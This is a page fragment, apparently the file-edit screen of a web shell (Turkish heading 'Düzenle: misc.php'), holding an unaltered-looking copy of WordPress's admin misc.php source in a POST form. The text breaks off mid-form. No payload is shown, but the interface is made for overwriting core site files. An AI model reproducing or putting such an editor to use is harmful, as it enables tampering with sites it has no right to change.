<h3>Düzenle: misc.php</h3>
        <form method='POST'>
        <textarea name='edit' style='width:100%;height:400px;font-family:monospace'>&lt;?php
/**
 * Misc WordPress Administration API.
 *
 * @package WordPress
 * @subpackage Administration
 */

/**
 * Returns whether the server is running Apache with the mod_rewrite module loaded.
 *
 * @since 2.0.0
 *
 * @return bool Whether the server is running Apache with the mod_rewrite module loaded.
 */
function got_mod_rewrite() {
	$got_rewrite = apache_mod_loaded( &#039;mod_rewrite&#039;, true );

	/**
	 * Filters whether Apache and mod_rewrite are present.
	 *
	 * This filter was previously used to force URL rewriting for other servers,
	 * like nginx. Use the {@see &#039;got_url_rewrite&#039;} filter in got_url_rewrite() instead.
	 *
	 * @since 2.5.0
	 *
	 * @see got_url_rewrite()
	 *
	 * @param bool $got_rewrite Whether Apache and mod_rewrite are present.
	 */
	return apply_filters( &#039;got_rewrite&#039;, $got_rewrite );
}

/**
 * Returns whether the server supports URL rewriting.
 *
 * Detects Apache&#039;s mod_rewrite, IIS 7.0+ permalink support, and nginx.
 *
 * @since 3.7.0
 *
 * @global bool $is_nginx
 * @global bool $is_caddy
 *
 * @return bool Whether the server supports URL rewriting.
 */
function got_url_rewrite() {
	$got_url_rewrite = ( got_mod_rewrite() || $GLOBALS[&#039;is_nginx&#039;] || $GLOBALS[&#039;is_caddy&#039;] || iis7_supports_permalinks() );

	/**
	 * Filters whether URL rewriting is available.
	 *
	 * @since 3.7.0
	 *
	 * @param bool $got_url_rewrite Whether URL rewriting is available.
	 */
	return apply_filters( &#039;got_url_rewrite&#039;, $got_url_rewrite );
}

/**
 * Extracts strings from between the BEGIN and END markers in the .htaccess file.
 *
 * @since 1.5.0
 *
 * @param string $filename Filename to extract the strings from.
 * @param string $marker   The marker to extract the strings from.
 * @return string[] An array of strings from a file (.htaccess) from between BEGIN and END markers.
 */
function extract_from_markers( $filename, $marker ) {
	$result = array();

	if ( ! file_exists( $filename ) ) {
		return $result;
	}

	$markerdata = explode( &quot;\n&quot;, implode( &#039;&#039;, file( $filename ) ) );

	$state = false;

	foreach ( $markerdata as $markerline ) {
		if ( str_contains( $markerline, &#039;# END &#039; . $marker ) ) {
			$state = false;
		}

		if ( $state ) {
			if ( str_starts_with( $markerline, &#039;#&#039; ) ) {
				continue;
			}

			$result[] = $markerline;
		}

		if ( str_contains( $markerline, &#039;# BEGIN &#039; . $marker ) ) {
			$state = true;
		}
	}

	return $result;
}

/**
 * Inserts an array of strings into a file (.htaccess), placing it between
 * BEGIN and END markers.
 *
 * Replaces existing marked info. Retains surrounding
 * data. Creates file if none exists.
 *
 * @since 1.5.0
 *
 * @param string       $filename  Filename to alter.
 * @param string       $marker    The marker to alter.
 * @param array|string $insertion The new content to insert.
 * @return bool True on write success, false on failure.
 */
function insert_with_markers( $filename, $marker, $insertion ) {
	if ( ! file_exists( $filename ) ) {
		if ( ! is_writable( dirname( $filename ) ) ) {
			return false;
		}

		if ( ! touch( $filename ) ) {
			return false;
		}

		// Make sure the file is created with a minimum set of permissions.
		$perms = fileperms( $filename );

		if ( $perms ) {
			chmod( $filename, $perms | 0644 );
		}
	} elseif ( ! is_writable( $filename ) ) {
		return false;
	}

	if ( ! is_array( $insertion ) ) {
		$insertion = explode( &quot;\n&quot;, $insertion );
	}

	$switched_locale = switch_to_locale( get_locale() );

	$instructions = sprintf(
		/* translators: 1: Marker. */
		__(
			&#039;The directives (lines) between &quot;BEGIN %1$s&quot; and &quot;END %1$s&quot; are
dynamically generated, and should only be modified via WordPress filters.
Any changes to the directives between these markers will be overwritten.&#039;
		),
		$marker
	);

	$instructions = explode( &quot;\n&quot;, $instructions );

	foreach ( $instructions as $line =&gt; $text ) {
		$instructions[ $line ] = &#039;# &#039; . $text;
	}

	/**
	 * Filters the inline instructions inserted before the dynamically generated content.
	 *
	 * @since 5.3.0
	 *
	 * @param string[] $instructions Array of lines with inline instructions.
	 * @param string   $marker       The marker being inserted.
	 */
	$instructions = apply_filters( &#039;insert_with_markers_inline_instructions&#039;, $instructions, $marker );

	if ( $switched_locale ) {
		restore_previous_locale();
	}

	$insertion = array_merge( $instructions, $insertion );

	$start_marker = &quot;# BEGIN {$marker}&quot;;
	$end_marker   = &quot;# END {$marker}&quot;;

	$fp = fopen( $filename, &#039;r+&#039; );

	if ( ! $fp ) {
		return false;
	}

	// Attempt to get a lock. If the filesystem supports locking, this will block until the lock is acquired.
	flock( $fp, LOCK_EX );

	$lines = array();

	while ( ! feof( $fp ) ) {
		$lines[] = rtrim( fgets( $fp ), &quot;\r\n&quot; );
	}

	// Split out the existing file into the preceding lines, and those that appear after the marker.
	$pre_lines        = array();
	$post_lines       = array();
	$existing_lines   = array();
	$found_marker     = false;
	$found_end_marker = false;

	foreach ( $lines as $line ) {
		if ( ! $found_marker &amp;&amp; str_contains( $line, $start_marker ) ) {
			$found_marker = true;
			continue;
		} elseif ( ! $found_end_marker &amp;&amp; str_contains( $line, $end_marker ) ) {
			$found_end_marker = true;
			continue;
		}

		if ( ! $found_marker ) {
			$pre_lines[] = $line;
		} elseif ( $found_end_marker ) {
			$post_lines[] = $line;
		} else {
			$existing_lines[] = $line;
		}
	}

	// Check to see if there was a change.
	if ( $existing_lines === $insertion ) {
		flock( $fp, LOCK_UN );
		fclose( $fp );

		return true;
	}

	// Generate the new file data.
	$new_file_data = implode(
		&quot;\n&quot;,
		array_merge(
			$pre_lines,
			array( $start_marker ),
			$insertion,
			array( $end_marker ),
			$post_lines
		)
	);

	// Write to the start of the file, and truncate it to that length.
	fseek( $fp, 0 );
	$bytes = fwrite( $fp, $new_file_data );

	if ( $bytes ) {
		ftruncate( $fp, ftell( $fp ) );
	}

	fflush( $fp );
	flock( $fp, LOCK_UN );
	fclose( $fp );

	return (bool) $bytes;
}

/**
 * Updates the htaccess file with the current rules if it is writable.
 *
 * Always writes to the file if it exists and is writable to ensure that we
 * blank out old rules.
 *
 * @since 1.5.0
 *
 * @global WP_Rewrite $wp_rewrite WordPress rewrite component.
 *
 * @return bool|null True on write success, false on failure. Null in multisite.
 */
function save_mod_rewrite_rules() {
	global $wp_rewrite;

	if ( is_multisite() ) {
		return null;
	}

	// Ensure get_home_path() is declared.
	require_once ABSPATH . &#039;wp-admin/includes/file.php&#039;;

	$home_path     = get_home_path();
	$htaccess_file = $home_path . &#039;.htaccess&#039;;

	/*
	 * If the file doesn&#039;t already exist check for write access to the directory
	 * and whether we have some rules. Else check for write access to the file.
	 */
	if ( ! file_exists( $htaccess_file ) &amp;&amp; is_writable( $home_path ) &amp;&amp; $wp_rewrite-&gt;using_mod_rewrite_permalinks()
		|| is_writable( $htaccess_file )
	) {
		if ( got_mod_rewrite() ) {
			$rules = explode( &quot;\n&quot;, $wp_rewrite-&gt;mod_rewrite_rules() );

			return insert_with_markers( $htaccess_file, &#039;WordPress&#039;, $rules );
		}
	}

	return false;
}

/**
 * Updates the IIS web.config file with the current rules if it is writable.
 * If the permalinks do not require rewrite rules then the rules are deleted from the web.config file.
 *
 * @since 2.8.0
 *
 * @global WP_Rewrite $wp_rewrite WordPress rewrite component.
 *
 * @return bool|null True on write success, false on failure. Null in multisite.
 */
function iis7_save_url_rewrite_rules() {
	global $wp_rewrite;

	if ( is_multisite() ) {
		return null;
	}

	// Ensure get_home_path() is declared.
	require_once ABSPATH . &#039;wp-admin/includes/file.php&#039;;

	$home_path       = get_home_path();
	$web_config_file = $home_path . &#039;web.config&#039;;

	// Using win_is_writable() instead of is_writable() because of a bug in Windows PHP.
	if ( iis7_supports_permalinks()
		&amp;&amp; ( ! file_exists( $web_config_file ) &amp;&amp; win_is_writable( $home_path ) &amp;&amp; $wp_rewrite-&gt;using_mod_rewrite_permalinks()
			|| win_is_writable( $web_config_file ) )
	) {
		$rule = $wp_rewrite-&gt;iis7_url_rewrite_rules( false );

		if ( ! empty( $rule ) ) {
			return iis7_add_rewrite_rule( $web_config_file, $rule );
		} else {
			return iis7_delete_rewrite_rule( $web_config_file );
		}
	}

	return false;
}

/**
 * Updates the &quot;recently-edited&quot; file for the plugin or theme file editor.
 *
 * @since 1.5.0
 *
 * @param string $file
 */
function update_recently_edited( $file ) {
	$oldfiles = (array) get_option( &#039;recently_edited&#039; );

	if ( $oldfiles ) {
		$oldfiles   = array_reverse( $oldfiles );
		$oldfiles[] = $file;
		$oldfiles   = array_reverse( $oldfiles );
		$oldfiles   = array_unique( $oldfiles );

		if ( 5 &lt; count( $oldfiles ) ) {
			array_pop( $oldfiles );
		}
	} else {
		$oldfiles[] = $file;
	}

	update_option( &#039;recently_edited&#039;, $oldfiles );
}

/**
 * Makes a tree structure for the theme file editor&#039;s file list.
 *
 * @since 4.9.0
 * @access private
 *
 * @param array $allowed_files List of theme file paths.
 * @return array Tree structure for listing theme files.
 */
function wp_make_theme_file_tree( $allowed_files ) {
	$tree_list = array();

	foreach ( $allowed_files as $file_name =&gt; $absolute_filename ) {
		$list     = explode( &#039;/&#039;, $file_name );
		$last_dir = &amp;$tree_list;

		foreach ( $list as $dir ) {
			$last_dir =&amp; $last_dir[ $dir ];
		}

		$last_dir = $file_name;
	}

	return $tree_list;
}

/**
 * Outputs the formatted file list for the theme file editor.
 *
 * @since 4.9.0
 * @access private
 *
 * @global string $relative_file Name of the file being edited relative to the
 *                               theme directory.
 * @global string $stylesheet    The stylesheet name of the theme being edited.
 *
 * @param array|string $tree  List of file/folder paths, or filename.
 * @param int          $level The aria-level for the current iteration.
 * @param int          $size  The aria-setsize for the current iteration.
 * @param int          $index The aria-posinset for the current iteration.
 */
function wp_print_theme_file_tree( $tree, $level = 2, $size = 1, $index = 1 ) {
	global $relative_file, $stylesheet;

	if ( is_array( $tree ) ) {
		$index = 0;
		$size  = count( $tree );

		foreach ( $tree as $label =&gt; $theme_file ) :
			++$index;

			if ( ! is_array( $theme_file ) ) {
				wp_print_theme_file_tree( $theme_file, $level, $index, $size );
				continue;
			}
			?&gt;
			&lt;li role=&quot;treeitem&quot; aria-expanded=&quot;true&quot; tabindex=&quot;-1&quot;
				aria-level=&quot;&lt;?php echo esc_attr( $level ); ?&gt;&quot;
				aria-setsize=&quot;&lt;?php echo esc_attr( $size ); ?&gt;&quot;
				aria-posinset=&quot;&lt;?php echo esc_attr( $index ); ?&gt;&quot;&gt;
				&lt;span class=&quot;folder-label&quot;&gt;&lt;?php echo esc_html( $label ); ?&gt; &lt;span class=&quot;screen-reader-text&quot;&gt;
					&lt;?php
					/* translators: Hidden accessibility text. */
					_e( &#039;folder&#039; );
					?&gt;
				&lt;/span&gt;&lt;span aria-hidden=&quot;true&quot; class=&quot;icon&quot;&gt;&lt;/span&gt;&lt;/span&gt;
				&lt;ul role=&quot;group&quot; class=&quot;tree-folder&quot;&gt;&lt;?php wp_print_theme_file_tree( $theme_file, $level + 1, $index, $size ); ?&gt;&lt;/ul&gt;
			&lt;/li&gt;
			&lt;?php
		endforeach;
	} else {
		$filename = $tree;
		$url      = add_query_arg(
			array(
				&#039;file&#039;  =&gt; rawurlencode( $tree ),
				&#039;theme&#039; =&gt; rawurlencode( $stylesheet ),
			),
			self_admin_url( &#039;theme-editor.php&#039; )
		);
		?&gt;
		&lt;li role=&quot;none&quot; class=&quot;&lt;?php echo esc_attr( $relative_file === $filename ? &#039;current-file&#039; : &#039;&#039; ); ?&gt;&quot;&gt;
			&lt;a role=&quot;treeitem&quot; tabindex=&quot;&lt;?php echo esc_attr( $relative_file === $filename ? &#039;0&#039; : &#039;-1&#039; ); ?&gt;&quot;
				href=&quot;&lt;?php echo esc_url( $url ); ?&gt;&quot;
				aria-level=&quot;&lt;?php echo esc_attr( $level ); ?&gt;&quot;
				aria-setsize=&quot;&lt;?php echo esc_attr( $size ); ?&gt;&quot;
				aria-posinset=&quot;&lt;?php echo esc_attr( $index ); ?&gt;&quot;&gt;
				&lt;?php
				$file_description = esc_html( get_file_description( $filename ) );

				if ( $file_description !== $filename &amp;&amp; wp_basename( $filename ) !== $file_description ) {
					$file_description .= &#039;&lt;br /&gt;&lt;span class=&quot;nonessential&quot;&gt;(&#039; . esc_html( $filename ) . &#039;)&lt;/span&gt;&#039;;
				}

				if ( $relative_file === $filename ) {
					echo &#039;&lt;span class=&quot;notice notice-info&quot;&gt;&#039; . $file_description . &#039;&lt;/span&gt;&#039;;
				} else {
					echo $file_description;
				}
				?&gt;
			&lt;/a&gt;
		&lt;/li&gt;
		&lt;?php
	}
}

/**
 * Makes a tree structure for the plugin file editor&#039;s file list.
 *
 * @since 4.9.0
 * @access private
 *
 * @param array $plugin_editable_files List of plugin file paths.
 * @return array Tree structure for listing plugin files.
 */
function wp_make_plugin_file_tree( $plugin_editable_files ) {
	$tree_list = array();

	foreach ( $plugin_editable_files as $plugin_file ) {
		$list     = explode( &#039;/&#039;, preg_replace( &#039;#^.+?/#&#039;, &#039;&#039;, $plugin_file ) );
		$last_dir = &amp;$tree_list;

		foreach ( $list as $dir ) {
			$last_dir =&amp; $last_dir[ $dir ];
		}

		$last_dir = $plugin_file;
	}

	return $tree_list;
}

/**
 * Outputs the formatted file list for the plugin file editor.
 *
 * @since 4.9.0
 * @access private
 *
 * @param array|string $tree  List of file/folder paths, or filename.
 * @param string       $label Name of file or folder to print.
 * @param int          $level The aria-level for the current iteration.
 * @param int          $size  The aria-setsize for the current iteration.
 * @param int          $index The aria-posinset for the current iteration.
 */
function wp_print_plugin_file_tree( $tree, $label = &#039;&#039;, $level = 2, $size = 1, $index = 1 ) {
	global $file, $plugin;

	if ( is_array( $tree ) ) {
		$index = 0;
		$size  = count( $tree );

		foreach ( $tree as $label =&gt; $plugin_file ) :
			++$index;

			if ( ! is_array( $plugin_file ) ) {
				wp_print_plugin_file_tree( $plugin_file, $label, $level, $index, $size );
				continue;
			}
			?&gt;
			&lt;li role=&quot;treeitem&quot; aria-expanded=&quot;true&quot; tabindex=&quot;-1&quot;
				aria-level=&quot;&lt;?php echo esc_attr( $level ); ?&gt;&quot;
				aria-setsize=&quot;&lt;?php echo esc_attr( $size ); ?&gt;&quot;
				aria-posinset=&quot;&lt;?php echo esc_attr( $index ); ?&gt;&quot;&gt;
				&lt;span class=&quot;folder-label&quot;&gt;&lt;?php echo esc_html( $label ); ?&gt; &lt;span class=&quot;screen-reader-text&quot;&gt;
					&lt;?php
					/* translators: Hidden accessibility text. */
					_e( &#039;folder&#039; );
					?&gt;
				&lt;/span&gt;&lt;span aria-hidden=&quot;true&quot; class=&quot;icon&quot;&gt;&lt;/span&gt;&lt;/span&gt;
				&lt;ul role=&quot;group&quot; class=&quot;tree-folder&quot;&gt;&lt;?php wp_print_plugin_file_tree( $plugin_file, &#039;&#039;, $level + 1, $index, $size ); ?&gt;&lt;/ul&gt;
			&lt;/li&gt;
			&lt;?php
		endforeach;
	} else {
		$url = add_query_arg(
			array(
				&#039;file&#039;   =&gt; rawurlencode( $tree ),
				&#039;plugin&#039; =&gt; rawurlencode( $plugin ),
			),
			self_admin_url( &#039;plugin-editor.php&#039; )
		);
		?&gt;
		&lt;li role=&quot;none&quot; class=&quot;&lt;?php echo esc_attr( $file === $tree ? &#039;current-file&#039; : &#039;&#039; ); ?&gt;&quot;&gt;
			&lt;a role=&quot;treeitem&quot; tabindex=&quot;&lt;?php echo esc_attr( $file === $tree ? &#039;0&#039; : &#039;-1&#039; ); ?&gt;&quot;
				href=&quot;&lt;?php echo esc_url( $url ); ?&gt;&quot;
				aria-level=&quot;&lt;?php echo esc_attr( $level ); ?&gt;&quot;
				aria-setsize=&quot;&lt;?php echo esc_attr( $size ); ?&gt;&quot;
				aria-posinset=&quot;&lt;?php echo esc_attr( $index ); ?&gt;&quot;&gt;
				&lt;?php
				if ( $file === $tree ) {
					echo &#039;&lt;span class=&quot;notice notice-info&quot;&gt;&#039; . esc_html( $label ) . &#039;&lt;/span&gt;&#039;;
				} else {
					echo esc_html( $label );
				}
				?&gt;
			&lt;/a&gt;
		&lt;/li&gt;
		&lt;?php
	}
}

/**
 * Flushes rewrite rules if `siteurl`, `home` or `page_on_front` changed.
 *
 * @since 2.1.0
 *
 * @param string $old_value
 * @param string $value
 */
function update_home_siteurl( $old_value, $value ) {
	if ( wp_installing() ) {
		return;
	}

	if ( is_multisite() &amp;&amp; ms_is_switched() ) {
		delete_option( &#039;rewrite_rules&#039; );
	} else {
		flush_rewrite_rules();
	}
}

/**
 * Resets global variables based on `$_GET` and `$_POST`.
 *
 * This function resets global variables based on the names passed
 * in the `$vars` array to the value of `$_POST[$var]` or `$_GET[$var]` or an
 * empty string if neither is defined.
 *
 * @since 2.0.0
 *
 * @param array $vars An array of globals to reset.
 */
function wp_reset_vars( $vars ) {
	foreach ( $vars as $var ) {
		if ( empty( $_POST[ $var ] ) ) {
			if ( empty( $_GET[ $var ] ) ) {
				$GLOBALS[ $var ] = &#039;&#039;;
			} else {
				$GLOBALS[ $var ] = $_GET[ $var ];
			}
		} else {
			$GLOBALS[ $var ] = $_POST[ $var ];
		}
	}
}

/**
 * Displays the given administration message.
 *
 * @since 2.1.0
 *
 * @param string|WP_Error $message
 */
function show_message( $message ) {
	if ( is_wp_error( $message ) ) {
		if ( $message-&gt;get_error_data() &amp;&amp; is_string( $message-&gt;get_error_data() ) ) {
			$message = $message-&gt;get_error_message() . &#039;: &#039; . $message-&gt;get_error_data();
		} else {
			$message = $message-&gt;get_error_message();
		}
	}

	echo &quot;&lt;p&gt;$message&lt;/p&gt;\n&quot;;
	wp_ob_end_flush_all();
	flush();
}

/**
 * @since 2.8.0
 *
 * @param string $content
 * @return string[] Array of function names.
 */
function wp_doc_link_parse( $content ) {
	if ( ! is_string( $content ) || empty( $content ) ) {
		return array();
	}

	if ( ! function_exists( &#039;token_get_all&#039; ) ) {
		return array();
	}

	$tokens           = token_get_all( $content );
	$count            = count( $tokens );
	$functions        = array();
	$ignore_functions = array();

	for ( $t = 0; $t &lt; $count - 2; $t++ ) {
		if ( ! is_array( $tokens[ $t ] ) ) {
			continue;
		}

		if ( T_STRING === $tokens[ $t ][0] &amp;&amp; ( &#039;(&#039; === $tokens[ $t + 1 ] || &#039;(&#039; === $tokens[ $t + 2 ] ) ) {
			// If it&#039;s a function or class defined locally, there&#039;s not going to be any docs available.
			if ( ( isset( $tokens[ $t - 2 ][1] ) &amp;&amp; in_array( $tokens[ $t - 2 ][1], array( &#039;function&#039;, &#039;class&#039; ), true ) )
				|| ( isset( $tokens[ $t - 2 ][0] ) &amp;&amp; T_OBJECT_OPERATOR === $tokens[ $t - 1 ][0] )
			) {
				$ignore_functions[] = $tokens[ $t ][1];
			}

			// Add this to our stack of unique references.
			$functions[] = $tokens[ $t ][1];
		}
	}

	$functions = array_unique( $functions );
	sort( $functions );

	/**
	 * Filters the list of functions and classes to be ignored from the documentation lookup.
	 *
	 * @since 2.8.0
	 *
	 * @param string[] $ignore_functions Array of names of functions and classes to be ignored.
	 */
	$ignore_functions = apply_filters( &#039;documentation_ignore_functions&#039;, $ignore_functions );

	$ignore_functions = array_unique( $ignore_functions );

	$output = array();

	foreach ( $functions as $function ) {
		if ( in_array( $function, $ignore_functions, true ) ) {
			continue;
		}

		$output[] = $function;
	}

	return $output;
}

/**
 * Saves option for number of rows when listing posts, pages, comments, etc.
 *
 * @since 2.8.0
 */
function set_screen_options() {
	if ( ! isset( $_POST[&#039;wp_screen_options&#039;] ) || ! is_array( $_POST[&#039;wp_screen_options&#039;] ) ) {
		return;
	}

	check_admin_referer( &#039;screen-options-nonce&#039;, &#039;screenoptionnonce&#039; );

	$user = wp_get_current_user();

	if ( ! $user ) {
		return;
	}

	$option = $_POST[&#039;wp_screen_options&#039;][&#039;option&#039;];
	$value  = $_POST[&#039;wp_screen_options&#039;][&#039;value&#039;];

	if ( sanitize_key( $option ) !== $option ) {
		return;
	}

	$map_option = $option;
	$type       = str_replace( &#039;edit_&#039;, &#039;&#039;, $map_option );
	$type       = str_replace( &#039;_per_page&#039;, &#039;&#039;, $type );

	if ( in_array( $type, get_taxonomies(), true ) ) {
		$map_option = &#039;edit_tags_per_page&#039;;
	} elseif ( in_array( $type, get_post_types(), true ) ) {
		$map_option = &#039;edit_per_page&#039;;
	} else {
		$option = str_replace( &#039;-&#039;, &#039;_&#039;, $option );
	}

	switch ( $map_option ) {
		case &#039;edit_per_page&#039;:
		case &#039;users_per_page&#039;:
		case &#039;edit_comments_per_page&#039;:
		case &#039;upload_per_page&#039;:
		case &#039;edit_tags_per_page&#039;:
		case &#039;plugins_per_page&#039;:
		case &#039;export_personal_data_requests_per_page&#039;:
		case &#039;remove_personal_data_requests_per_page&#039;:
			// Network admin.
		case &#039;sites_network_per_page&#039;:
		case &#039;users_network_per_page&#039;:
		case &#039;site_users_network_per_page&#039;:
		case &#039;plugins_network_per_page&#039;:
		case &#039;themes_network_per_page&#039;:
		case &#039;site_themes_network_per_page&#039;:
			$value = (int) $value;

			if ( $value &lt; 1 || $value &gt; 999 ) {
				return;
			}

			break;

		default:
			$screen_option = false;

			if ( str_ends_with( $option, &#039;_page&#039; ) || &#039;layout_columns&#039; === $option ) {
				/**
				 * Filters a screen option value before it is set.
				 *
				 * The filter can also be used to modify non-standard `[items]_per_page`
				 * settings. See the parent function for a full list of standard options.
				 *
				 * Returning false from the filter will skip saving the current option.
				 *
				 * @since 2.8.0
				 * @since 5.4.2 Only applied to options ending with &#039;_page&#039;,
				 *              or the &#039;layout_columns&#039; option.
				 *
				 * @see set_screen_options()
				 *
				 * @param mixed  $screen_option The value to save instead of the option value.
				 *                              Default false (to skip saving the current option).
				 * @param string $option        The option name.
				 * @param int    $value         The option value.
				 */
				$screen_option = apply_filters( &#039;set-screen-option&#039;, $screen_option, $option, $value ); // phpcs:ignore WordPress.NamingConventions.ValidHookName.UseUnderscores
			}

			/**
			 * Filters a screen option value before it is set.
			 *
			 * The dynamic portion of the hook name, `$option`, refers to the option name.
			 *
			 * Returning false from the filter will skip saving the current option.
			 *
			 * @since 5.4.2
			 *
			 * @see set_screen_options()
			 *
			 * @param mixed   $screen_option The value to save instead of the option value.
			 *                               Default false (to skip saving the current option).
			 * @param string  $option        The option name.
			 * @param int     $value         The option value.
			 */
			$value = apply_filters( &quot;set_screen_option_{$option}&quot;, $screen_option, $option, $value );

			if ( false === $value ) {
				return;
			}

			break;
	}

	update_user_meta( $user-&gt;ID, $option, $value );

	$url = remove_query_arg( array( &#039;pagenum&#039;, &#039;apage&#039;, &#039;paged&#039; ), wp_get_referer() );

	if ( isset( $_POST[&#039;mode&#039;] ) ) {
		$url = add_query_arg( array( &#039;mode&#039; =&gt; $_POST[&#039;mode&#039;] ), $url );
	}

	wp_safe_redirect( $url );
	exit;
}

/**
 * Checks if rewrite rule for WordPress already exists in the IIS 7+ configuration file.
 *
 * @since 2.8.0
 *
 * @param string $filename The file path to the configuration file.
 * @return bool
 */
function iis7_rewrite_rule_exists( $filename ) {
	if ( ! file_exists( $filename ) ) {
		return false;
	}

	if ( ! class_exists( &#039;DOMDocument&#039;, false ) ) {
		return false;
	}

	$doc = new DOMDocument();

	if ( $doc-&gt;load( $filename ) === false ) {
		return false;
	}

	$xpath = new DOMXPath( $doc );
	$rules = $xpath-&gt;query( &#039;/configuration/system.webServer/rewrite/rules/rule[starts-with(@name,\&#039;wordpress\&#039;)] | /configuration/system.webServer/rewrite/rules/rule[starts-with(@name,\&#039;WordPress\&#039;)]&#039; );

	if ( 0 === $rules-&gt;length ) {
		return false;
	}

	return true;
}

/**
 * Deletes WordPress rewrite rule from web.config file if it exists there.
 *
 * @since 2.8.0
 *
 * @param string $filename Name of the configuration file.
 * @return bool
 */
function iis7_delete_rewrite_rule( $filename ) {
	// If configuration file does not exist then rules also do not exist, so there is nothing to delete.
	if ( ! file_exists( $filename ) ) {
		return true;
	}

	if ( ! class_exists( &#039;DOMDocument&#039;, false ) ) {
		return false;
	}

	$doc                     = new DOMDocument();
	$doc-&gt;preserveWhiteSpace = false;

	if ( $doc-&gt;load( $filename ) === false ) {
		return false;
	}

	$xpath = new DOMXPath( $doc );
	$rules = $xpath-&gt;query( &#039;/configuration/system.webServer/rewrite/rules/rule[starts-with(@name,\&#039;wordpress\&#039;)] | /configuration/system.webServer/rewrite/rules/rule[starts-with(@name,\&#039;WordPress\&#039;)]&#039; );

	if ( $rules-&gt;length &gt; 0 ) {
		$child  = $rules-&gt;item( 0 );
		$parent = $child-&gt;parentNode;
		$parent-&gt;removeChild( $child );
		$doc-&gt;formatOutput = true;
		saveDomDocument( $doc, $filename );
	}

	return true;
}

/**
 * Adds WordPress rewrite rule to the IIS 7+ configuration file.
 *
 * @since 2.8.0
 *
 * @param string $filename     The file path to the configuration file.
 * @param string $rewrite_rule The XML fragment with URL Rewrite rule.
 * @return bool
 */
function iis7_add_rewrite_rule( $filename, $rewrite_rule ) {
	if ( ! class_exists( &#039;DOMDocument&#039;, false ) ) {
		return false;
	}

	// If configuration file does not exist then we create one.
	if ( ! file_exists( $filename ) ) {
		$fp = fopen( $filename, &#039;w&#039; );
		fwrite( $fp, &#039;&lt;configuration/&gt;&#039; );
		fclose( $fp );
	}

	$doc                     = new DOMDocument();
	$doc-&gt;preserveWhiteSpace = false;

	if ( $doc-&gt;load( $filename ) === false ) {
		return false;
	}

	$xpath = new DOMXPath( $doc );

	// First check if the rule already exists as in that case there is no need to re-add it.
	$wordpress_rules = $xpath-&gt;query( &#039;/configuration/system.webServer/rewrite/rules/rule[starts-with(@name,\&#039;wordpress\&#039;)] | /configuration/system.webServer/rewrite/rules/rule[starts-with(@name,\&#039;WordPress\&#039;)]&#039; );

	if ( $wordpress_rules-&gt;length &gt; 0 ) {
		return true;
	}

	// Check the XPath to the rewrite rule and create XML nodes if they do not exist.
	$xml_nodes = $xpath-&gt;query( &#039;/configuration/system.webServer/rewrite/rules&#039; );

	if ( $xml_nodes-&gt;length &gt; 0 ) {
		$rules_node = $xml_nodes-&gt;item( 0 );
	} else {
		$rules_node = $doc-&gt;createElement( &#039;rules&#039; );

		$xml_nodes = $xpath-&gt;query( &#039;/configuration/system.webServer/rewrite&#039; );

		if ( $xml_nodes-&gt;length &gt; 0 ) {
			$rewrite_node = $xml_nodes-&gt;item( 0 );
			$rewrite_node-&gt;appendChild( $rules_node );
		} else {
			$rewrite_node = $doc-&gt;createElement( &#039;rewrite&#039; );
			$rewrite_node-&gt;appendChild( $rules_node );

			$xml_nodes = $xpath-&gt;query( &#039;/configuration/system.webServer&#039; );

			if ( $xml_nodes-&gt;length &gt; 0 ) {
				$system_web_server_node = $xml_nodes-&gt;item( 0 );
				$system_web_server_node-&gt;appendChild( $rewrite_node );
			} else {
				$system_web_server_node = $doc-&gt;createElement( &#039;system.webServer&#039; );
				$system_web_server_node-&gt;appendChild( $rewrite_node );

				$xml_nodes = $xpath-&gt;query( &#039;/configuration&#039; );

				if ( $xml_nodes-&gt;length &gt; 0 ) {
					$config_node = $xml_nodes-&gt;item( 0 );
					$config_node-&gt;appendChild( $system_web_server_node );
				} else {
					$config_node = $doc-&gt;createElement( &#039;configuration&#039; );
					$doc-&gt;appendChild( $config_node );
					$config_node-&gt;appendChild( $system_web_server_node );
				}
			}
		}
	}

	$rule_fragment = $doc-&gt;createDocumentFragment();
	$rule_fragment-&gt;appendXML( $rewrite_rule );
	$rules_node-&gt;appendChild( $rule_fragment );

	$doc-&gt;encoding     = &#039;UTF-8&#039;;
	$doc-&gt;formatOutput = true;
	saveDomDocument( $doc, $filename );

	return true;
}

/**
 * Saves the XML document into a file.
 *
 * @since 2.8.0
 *
 * @param DOMDocument $doc
 * @param string      $filename
 */
function saveDomDocument( $doc, $filename ) { // phpcs:ignore WordPress.NamingConventions.ValidFunctionName.FunctionNameInvalid
	$config = $doc-&gt;saveXML();
	$config = preg_replace( &quot;/([^\r])\n/&quot;, &quot;$1\r\n&quot;, $config );

	$fp = fopen( $filename, &#039;w&#039; );
	fwrite( $fp, $config );
	fclose( $fp );
}

/**
 * Displays the default administration color scheme picker (Used in user-edit.php).
 *
 * @since 3.0.0
 *
 * @global array $_wp_admin_css_colors
 *
 * @param int $user_id User ID.
 */
function admin_color_scheme_picker( $user_id ) {
	global $_wp_admin_css_colors;

	ksort( $_wp_admin_css_colors );

	if ( isset( $_wp_admin_css_colors[&#039;fresh&#039;] ) ) {
		// Set Default (&#039;fresh&#039;) and Light should go first.
		$_wp_admin_css_colors = array_filter(
			array_merge(
				array(
					&#039;fresh&#039;  =&gt; &#039;&#039;,
					&#039;light&#039;  =&gt; &#039;&#039;,
					&#039;modern&#039; =&gt; &#039;&#039;,
				),
				$_wp_admin_css_colors
			)
		);
	}

	$current_color = get_user_option( &#039;admin_color&#039;, $user_id );

	if ( empty( $current_color ) || ! isset( $_wp_admin_css_colors[ $current_color ] ) ) {
		$current_color = &#039;fresh&#039;;
	}
	?&gt;
	&lt;fieldset id=&quot;color-picker&quot; class=&quot;scheme-list&quot;&gt;
		&lt;legend class=&quot;screen-reader-text&quot;&gt;&lt;span&gt;&lt;?php _e( &#039;Administration Color Scheme&#039; ); ?&gt;&lt;/span&gt;&lt;/legend&gt;
		&lt;?php
		wp_nonce_field( &#039;save-color-scheme&#039;, &#039;color-nonce&#039;, false );
		foreach ( $_wp_admin_css_colors as $color =&gt; $color_info ) :

			?&gt;
			&lt;div class=&quot;color-option &lt;?php echo ( $color === $current_color ) ? &#039;selected&#039; : &#039;&#039;; ?&gt;&quot;&gt;
				&lt;input name=&quot;admin_color&quot; id=&quot;admin_color_&lt;?php echo esc_attr( $color ); ?&gt;&quot; type=&quot;radio&quot; value=&quot;&lt;?php echo esc_attr( $color ); ?&gt;&quot; class=&quot;tog&quot; &lt;?php checked( $color, $current_color ); ?&gt; /&gt;
